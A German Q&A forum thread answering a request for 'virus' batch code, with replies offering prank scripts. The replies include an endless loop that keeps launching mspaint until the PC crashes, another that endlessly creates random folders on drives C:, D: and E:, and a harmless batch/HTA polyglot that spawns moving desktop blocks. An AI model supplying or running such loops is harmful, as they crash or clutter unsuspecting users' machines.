„Virus“ BAT Code?

3 Antworten

:a
start mspaint (oder ein anderes Programm)
goto :a

Hab ich mir mal irgendwo abgeschaut, in Kombination mit @echo off wird der PC schnell abschmieren, auch wenn es nicht das krasseste Programm ist.

@echo off

:A

cd /d C:

md %RANDOM%

cd /d D:

md %RANDOM%

cd /d E:

md %RANDOM%

goto A

vom mir gibt es was komplexeres:

moving_Blocks.bat:

<!-- : Begin batch script 
@echo off
for /l %%a in (0,1,20) do start "" mshta.exe "%~f0" 
exit /b
-->
<!DOCTYPE html>
<script>resizeTo(0,0);window.offscreenBuffering = "true";</script>
<hta:application ID="oHTA" border="none" caption="no" contextmenu="no" innerborder="no" scroll="no" selection="no" >
<html>
<style>
 html, body{width: 100%;height: 100%;margin: 0px;}
 #demo {background: red;width: 100%;height: 100%;margin: 0;}
</style>

<script>
var timer,z,dX,dY,tOut;
x=window.screenLeft; //get startposition
y=window.screenLeft; //dito
s=30; //size
maxMove=20; //max Pixels to move in one cycle
cps=1000/30; //cycles per 1000 milliseconds
maxX=screen.availWidth-s;
maxY=screen.availHeight-s;

function init(){
 resizeTo(s,s);
 moveTo(x,y);
 randomTOut();
 flee();
};

//endless Loop! ...will break by  clearTimeout(timer)
function randomTOut(){
 tOut=(Math.round((Math.random())*480)+20)*10;
 moveControl();
 timer=setTimeout(function(){randomTOut()},tOut);
};

function moveControl(){
 /* dX,dY become random between -maxMove and +maxMove,
   the sign determines the direction*/
 dX=Math.round(Math.random()*maxMove*2-maxMove);
 dY=Math.round(Math.random()*maxMove*2-maxMove);
};

function flee(){
 z=setInterval(function(){
  if (x>0) {x+=dX;} else {dX=Math.abs(dX);x+=dX;};
  if (y>0) {y+=dY;} else {dY=Math.abs(dY);y+=dY;};
  if (x<maxX) {x+=dX;} else {dX=-Math.abs(dX);x+=dX;};
  if (y<maxY) {y+=dY;} else {dY=-Math.abs(dY);y+=dY;};
  moveTo(x,y);
 }, cps);
};

function closeW(){
 //clear all timmerevents befor closing the window!  
 clearTimeout(timer);
 clearInterval(z);
 close()
};
</script>
<!-- collsion with the mouse kills the window-->
<body onload="init()" onmouseover="closeW()">
 <div id="demo"></div>
</body>
</html>

Diese Batch macht nichts was irgendwie das System negativ beeinflusst!

Die Batch lässt bei jedem Start 20 Klötzchen auf dem Desktop herumwuseln.
Wenn ein solche Klötzchen dem Mousecursor begegnet "stirbt" es.

Im Prinzip braucht man nichts weiter zu tun, als den Mousecursor irgendwo auf dem Desktop zu "parken" , irgendwann trifft jedes "Klözchen" auf ihn...

Neben dem nervigen Effekt den das ganze auf einen Unwissenden hat, ist es auch ein netter Zeitvertreib mit der Maus auf die "Jagd" zu gehen.

Download der Batch via: https://pastebin.com/eZ1Uz9kE

Woher ich das weiß:eigene Erfahrung – Ich mach das seit 30 Jahren
MarkusGenervt  14.06.2018, 11:10

Wozu die Extra-Batch? ŏ_Ò

Das ist ein HTA-Skript, aber dazu ist sicher keine Batch erforderlich.

Abgesehen davon, ein recht kurzweiliges Spielchen.

0
Erzesel  14.06.2018, 12:53
@MarkusGenervt

Natürlich wäre es auch ohne Batch gegangen...

Allerdings habe ich das ganze für genau die obige Fragestellung maximal abgespeckt. In der Ursprünglichen version war noch einiges mehr an Funktionalität in der Batch.

Zum anderen wäre der Aufwand mehrere Instanzen von sich selbst zu starten innerhalb einer puren HTA wesentlich Größer . Immerhin müsste man vermeiden das sich die HTA recursiv unendlich "vermehrt".

Der effizienteste Weg war einfach aus der Batch die gewünschte Anzahl an Kakerlaken loszulassen.
Der Kommentar-Trick erlaubt es Batch und HTA in einer Datei unterzubringen.

0
MarkusGenervt  14.06.2018, 13:56
@Erzesel
Immerhin müsste man vermeiden das sich die HTA recursiv unendlich "vermehrt".

Globaler Instanzen-Zähler (z.B. %TEMP%\%~n0.ini) und Abbruch (& Zähler-Reset) beim Erreichen eines Limits.

Unter Windows gibt es leider nicht sowas wie "export".

Na gut, es wäre aufwändiger, sich selbst zu starten.

Aber eine reine Batch-Lösung wäre natürlich nicht so schön. Vielleicht bin ich auch zu orthodox, wenn es um "reine" Batch-Lösungen geht. De denke ich nicht gleich an GUI-Objekte. So was löse ich dann lieber gleich mit OO-Skripten.

Der Kommentar-Trick erlaubt es Batch und HTA in einer Datei unterzubringen.

Also das habe ich nicht verstanden. Willst Du etwa genau dieses HTA-Skript als Batch speichern und laufen lassen? Und wie soll der Batch-Interpreter dann HTA-Code interpretieren?

Ich dachte, Du hast den Kommentar zum Separieren in eine Extra-Batch eingefügt?!

Ist das so ein neues Win8/10-Ding? Da hab ich mich nämlich ausgeklinkt.

0
Erzesel  14.06.2018, 15:14
@MarkusGenervt

Neee... das ist viel trickreicher.... Der Batchinterpreter bekommt den HTAcode nie zu sehen XD....

  • Ich starte die Batch ,
  • Cmd sieht in der ersten Zeile "<!-- : irgendwas" (eine Inputredirection aus der nichtexistierenden Datei "!--") . Da dem lediglich ein Label folgt ":irgendwas" , welches sinnigerweise kein InputHandle anfordert gibt es auch keine "Beschwerte" das diese Datei garnicht existiert .
  • Damit ist die erste Zeile für CMD erledigt (Labelzeilen werden auch bei Echo on nicht angezeigt ) alles paletti , man sieht also nix von dem Schmuh...
  • Dann läuft die Batch normal weiter.start "" mshta .... startet nun die Batchdatei als HTA in einem separaten Prozess (mshta interessiert sich nicht für die .extension)
  • ...während die Batch die einfach weiterläuft... bis exit /b (was danach kommt erfährt Cmd nicht mehr)
  • mshta läuft nun unabhängig von der Batch und sieht erstmal <!-- batchanweisungen --> als (total zu ignorierenden) Kommentar.
  • der Rest ist normales HTA/Javascript

und da der for-Loop in der Batch 21 unabhängige Instanzen von mshta mit dem HTA mit falscher Dateiendung startet, machen 21 von den rahmenlosen Fensterchen den Desktop "unsicher" ;)

Defakto ist jedes Klötzchen ein total unabhängiges Objekt mit eigener Steuerlogik.

Das ist auch nichts Neues , das funktioniert schon seit es HTA gibt.
Wenn es sein müsste, bächte ich auch noch ein komplettes C#-programm nebst Compileraufruf in der Batch unter...

XD https://www.gutefrage.net/frage/windows-exe-erstellen?foundIn=list-answers-by-user#answer-280799745

3
MarkusGenervt  14.06.2018, 15:57
@Erzesel

Aaach! 😂😂😂 Ja, das ist clever um die Ecke gedacht! 😂

Ja, ab MSHTA (oder was auch immer) ist es klar. Unter Windows hängt halt alles primär von der Endung ab und wenn man die manuell umgeht per direktem Interpreter-Aufruf, wird abgearbeitet ohne Rücksicht auf Endung.

Aber an die Umleitung hab ich jetzt echt nicht gedacht.

Echt witziger Trick! 😂

0